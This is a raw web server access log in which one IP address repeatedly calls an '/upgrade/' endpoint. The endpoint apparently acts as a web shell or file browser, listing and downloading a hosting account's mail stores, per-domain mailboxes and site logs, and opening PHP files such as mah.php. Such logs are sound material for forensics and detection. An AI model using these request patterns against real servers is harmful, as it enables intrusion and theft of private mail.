45.135.193.11 - - [11/Sep/2026:22:41:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestzyx.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 381653 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestzyx.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot-uidvalidity.6971161a&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8652 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot-uidvalidity.6971161a&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbft.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 2399629 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbft.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.list.index&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8914 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.list.index&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F&option=folder HTTP/1.1" 200 8558 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbetcity.com.tw HTTP/1.1" 200 8260 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbetcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbiotaiwan.com.tw HTTP/1.1" 200 8628 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbiotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.Sent HTTP/1.1" 200 6572 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.Sent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 52793 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:10 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fmail&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8563 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fmail&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbogroup.com.tw HTTP/1.1" 200 8625 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 21168 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbodbooks.com.tw HTTP/1.1" 200 8641 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fmail&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7887 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fmail&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbestjudy.com.tw HTTP/1.1" 200 8647 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot-quota&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8661 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot-quota&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.mailbox.log&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8674 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.mailbox.log&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.Junk HTTP/1.1" 200 6572 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.Junk" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbfl.com.tw HTTP/1.1" 200 8624 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbig-wife.com.tw HTTP/1.1" 200 8267 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbig-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.index.log.2&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 13409 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.index.log.2&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fmaildirsize&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 10373 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fmaildirsize&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fblackpussy06.men HTTP/1.1" 200 6199 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fblackpussy06.men" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbooking-wise2.com.tw HTTP/1.1" 200 8667 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbooking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbossini.com.tw HTTP/1.1" 200 8403 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.Drafts HTTP/1.1" 200 6574 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.Drafts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fcur HTTP/1.1" 200 6190 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fcur" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot-uidvalidity&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8650 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot-uidvalidity&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fmailbox_format.cpanel&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8642 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fmailbox_format.cpanel&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F&option=dir HTTP/1.1" 200 8557 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8538 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fba-guo.com.tw HTTP/1.1" 200 8440 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Ftmp HTTP/1.1" 200 6190 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Ftmp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot-uidlist&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 1101754 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot-uidlist&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.index&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 354205 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.index&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestjudy.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 6911513 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestjudy.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:12 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fnew HTTP/1.1" 200 4315293 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fnew" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbesth2o.com.tw HTTP/1.1" 200 8444 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbesth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:15 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.index.cache&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 4320 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.index.cache&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbestzyx.com.tw HTTP/1.1" 200 8412 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbioway88.com.tw HTTP/1.1" 200 8607 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbft.com.tw HTTP/1.1" 200 8334 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fmail&location=%2F HTTP/1.1" 200 7820 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fmail&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.Trash HTTP/1.1" 200 6573 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.Trash" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbeauty-dental.com.tw HTTP/1.1" 200 8486 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbeauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F&option=file HTTP/1.1" 200 8555 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.index.log&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 12357 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.index.log&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.spam HTTP/1.1" 200 6793 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F.spam" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbroadweb.com.tw HTTP/1.1" 200 8265 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2Fbroadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8547 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.list.index.log&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8678 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fdovecot.list.index.log&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fsubscriptions&location=%2Fhome%2Fblackpussy06%2Fmail%2F HTTP/1.1" 200 8643 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fmail%2F%2Fsubscriptions&location=%2Fhome%2Fblackpussy06%2Fmail%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fmail&location=%2Fhome%2F HTTP/1.1" 200 5767 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fmail&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F.well-known HTTP/1.1" 200 6013 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F&option=dir HTTP/1.1" 200 8251 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 20889 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F HTTP/1.1" 200 18958 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5791 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F&option=folder HTTP/1.1" 200 8253 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
